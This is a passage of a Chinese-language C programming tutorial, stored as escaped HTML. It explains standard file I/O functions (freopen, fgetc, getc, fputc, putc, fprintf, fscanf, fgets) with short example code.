class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* \u003cspan class=\"title function_\"\u003efreopen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* filename, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mode, FILE stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它跟\u003ccode\u003efopen()\u003c/code\u003e相比,就是多出了第三个参数,表示要复用的文件指针。其他两个参数都一样,分别是文件名和打开模式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efreopen(\u003cspan class=\"string\"\u003e\u0026#34;output.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;w\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将文件\u003ccode\u003eoutput.txt\u003c/code\u003e关联到\u003ccode\u003estdout\u003c/code\u003e,此后向\u003ccode\u003estdout\u003c/code\u003e写入的内容,都会写入\u003ccode\u003eoutput.txt\u003c/code\u003e。由于\u003ccode\u003eprintf()\u003c/code\u003e默认就是输出到\u003ccode\u003estdout\u003c/code\u003e,所以运行上面的代码以后,文件\u003ccode\u003eoutput.txt\u003c/code\u003e会被写入\u003ccode\u003ehello\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efreopen()\u003c/code\u003e的返回值是它的第三个参数(文件指针)。如果打开失败(比如文件不存在),会返回空指针 NULL。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efreopen()\u003c/code\u003e会自动关闭原先已经打开的文件,如果文件指针并没有指向已经打开的文件,则\u003ccode\u003efreopen()\u003c/code\u003e等同于\u003ccode\u003efopen()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是\u003ccode\u003efreopen()\u003c/code\u003e关联\u003ccode\u003escanf()\u003c/code\u003e的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i, i2;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;i); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efreopen(\u003cspan class=\"string\"\u003e\u0026#34;someints.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estdin\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;i2);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面例子中,一共调用了两次\u003ccode\u003escanf()\u003c/code\u003e,第一次调用是从键盘读取,然后使用\u003ccode\u003efreopen()\u003c/code\u003e将\u003ccode\u003estdin\u003c/code\u003e指针关联到某个文件,第二次调用就会从该文件读取。\u003c/p\u003e\u003cp\u003e某些系统允许使用\u003ccode\u003efreopen()\u003c/code\u003e,改变文件的打开模式。这时,\u003ccode\u003efreopen()\u003c/code\u003e的第一个参数应该是 NULL。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efreopen(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;wb\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将\u003ccode\u003estdout\u003c/code\u003e的打开模式从\u003ccode\u003ew\u003c/code\u003e改成了\u003ccode\u003ewb\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"fgetc-,getc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fgetc-%EF%BC%8Cgetc\" class=\"headerlink\" title=\"fgetc(),getc()\"\u003e\u003c/a\u003efgetc(),getc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efgetc()\u003c/code\u003e和\u003ccode\u003egetc()\u003c/code\u003e用于从文件读取一个字符。它们的用法跟\u003ccode\u003egetchar()\u003c/code\u003e类似,区别是\u003ccode\u003egetchar()\u003c/code\u003e只用来从\u003ccode\u003estdin\u003c/code\u003e读取,而这两个函数是从任意指定的文件读取。它们的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efgetc\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE *stream)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003egetc\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE *stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efgetc()\u003c/code\u003e与\u003ccode\u003egetc()\u003c/code\u003e的用法是一样的,都只有文件指针一个参数。两者的区别是,\u003ccode\u003egetc()\u003c/code\u003e一般用宏来实现,而\u003ccode\u003efgetc()\u003c/code\u003e是函数实现,所以前者的性能可能更好一些。注意,虽然这两个函数返回的是一个字符,但是它们的返回值类型却不是\u003ccode\u003echar\u003c/code\u003e,而是\u003ccode\u003eint\u003c/code\u003e,这是因为读取失败的情况下,它们会返回 EOF,这个值一般是\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE *fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;hello.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((c = getc(fp)) != EOF)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003egetc()\u003c/code\u003e依次读取文件的每个字符,将其放入变量\u003ccode\u003ec\u003c/code\u003e,直到读到文件结尾,返回 EOF,循环终止。变量\u003ccode\u003ec\u003c/code\u003e的类型是\u003ccode\u003eint\u003c/code\u003e,而不是\u003ccode\u003echar\u003c/code\u003e,因为有可能等于负值,所以设为\u003ccode\u003eint\u003c/code\u003e更好一些。\u003c/p\u003e\u003ch3 id=\"fputc-,putc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fputc-%EF%BC%8Cputc\" class=\"headerlink\" title=\"fputc(),putc()\"\u003e\u003c/a\u003efputc(),putc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efputc()\u003c/code\u003e和\u003ccode\u003eputc()\u003c/code\u003e用于向文件写入一个字符。它们的用法跟\u003ccode\u003eputchar()\u003c/code\u003e类似,区别是\u003ccode\u003eputchar()\u003c/code\u003e是向\u003ccode\u003estdout\u003c/code\u003e写入,而这两个函数是向文件写入。它们的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efputc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e, FILE *stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eputc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e, FILE *stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efputc()\u003c/code\u003e与\u003ccode\u003eputc()\u003c/code\u003e的用法是一样,都接受两个参数,第一个参数是待写入的字符,第二个参数是文件指针。它们的区别是,\u003ccode\u003eputc()\u003c/code\u003e通常是使用宏来实现,而\u003ccode\u003efputc()\u003c/code\u003e只作为函数来实现,所以理论上,\u003ccode\u003eputc()\u003c/code\u003e的性能会好一点。\u003c/p\u003e\u003cp\u003e写入成功时,它们返回写入的字符;写入失败时,返回 EOF。\u003c/p\u003e\u003ch3 id=\"fprintf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fprintf\" class=\"headerlink\" title=\"fprintf()\"\u003e\u003c/a\u003efprintf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efprintf()\u003c/code\u003e用于向文件写入格式化字符串,用法与\u003ccode\u003eprintf()\u003c/code\u003e类似。区别是\u003ccode\u003eprintf()\u003c/code\u003e总是写入\u003ccode\u003estdout\u003c/code\u003e,而\u003ccode\u003efprintf()\u003c/code\u003e则是写入指定的文件,它的第一个参数必须是一个文件指针。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efprintf()\u003c/code\u003e可以替代\u003ccode\u003eprintf()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面例子中,指定\u003ccode\u003efprintf()\u003c/code\u003e写入\u003ccode\u003estdout\u003c/code\u003e,结果就等同于调用\u003ccode\u003eprintf()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;Sum: %d\\n\u0026#34;\u003c/span\u003e, sum);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是向文件指针\u003ccode\u003efp\u003c/code\u003e写入指定格式的字符串。\u003c/p\u003e\u003cp\u003e下面是向\u003ccode\u003estderr\u003c/code\u003e输出错误信息的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Something number.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"fscanf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fscanf\" class=\"headerlink\" title=\"fscanf()\"\u003e\u003c/a\u003efscanf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efscanf()\u003c/code\u003e用于按照给定的模式,从文件中读取内容,用法跟\u003ccode\u003escanf()\u003c/code\u003e类似。区别是\u003ccode\u003escanf()\u003c/code\u003e总是从\u003ccode\u003estdin\u003c/code\u003e读取数据,而\u003ccode\u003efscanf()\u003c/code\u003e是从文件读入数据,它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e,第一个参数必须是文件指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efscanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efscanf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;%d%d\u0026#34;\u003c/span\u003e, \u0026amp;i, \u0026amp;j);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efscanf()\u003c/code\u003e从文件\u003ccode\u003efp\u003c/code\u003e里面,读取两个整数,放入变量\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ej\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e使用\u003ccode\u003efscanf()\u003c/code\u003e的前提是知道文件的结构,它的占位符解析规则与\u003ccode\u003escanf()\u003c/code\u003e完全一致。由于\u003ccode\u003efscanf()\u003c/code\u003e可以连续读取,直到读到文件尾,或者发生错误(读取失败、匹配失败),才会停止读取,所以\u003ccode\u003efscanf()\u003c/code\u003e通常放在循环里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"built_in\"\u003efscanf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;%s\u0026#34;\u003c/span\u003e, words) == \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(words);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efscanf()\u003c/code\u003e依次读取文件的每个词,将它们一行打印一个,直到文件结束。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efscanf()\u003c/code\u003e的返回值是赋值成功的变量数量,如果赋值失败会返回 EOF。\u003c/p\u003e\u003ch3 id=\"fgets\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fgets\" class=\"headerlink\" title=\"fgets()\"\u003e\u003c/a\u003efgets()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efgets()\u003c/code\u003e用于从文件读取指定长度的字符串,它名字的第一个字符是\u003ccode\u003ef\u003c/code\u003e,就代表\u003ccode\u003efile\u003c/code\u003e。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003efgets\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* str, \u003cspan class=\"type\"\u003eint\u003c/span\u003e STRLEN, File* fp)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的第一个参数\u003ccode\u003estr\u003c/code\u003e是一个字符串指针,用于存放读取的内容。第二个参数\u003ccode\u003eSTRLEN\u003c/code\u003e指定读取的长度,第三个参数是一个 FILE 指针,指向要读取的文件。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efgets()\u003c/code\u003e读取 STRLEN - 1 个字符之后,或者遇到换行符与文件结尾,就会停止读取,然后在已经读取的内容末尾添加一个空字符\u003ccode\u003e\\0\u003c/code\u003e,使之成为一个字符串。注意,\u003ccode\u003efgets()\u003c/code\u003e会将换行符(\u003ccode\u003e\\n\u003c/code\u003e)存储进字符串。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003efgets\u003c/code\u003e的第三个参数是\u003ccode\u003estdin\u003c/code\u003e,就可以读取标准输入,等同于\u003ccode\u003escanf()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efgets(str, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(str), \u003cspan class=\"built_in\"\u003estdin\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e读取成功时,\u003ccode\u003efgets()\u003c/code\u003e的返回值是它的第一个参数,即指向字符串的指针,否则返回空指针 NULL。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efgets()\u003c/code\u003e可以用来读取文件的每一行,下面是读取文件所有行的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan 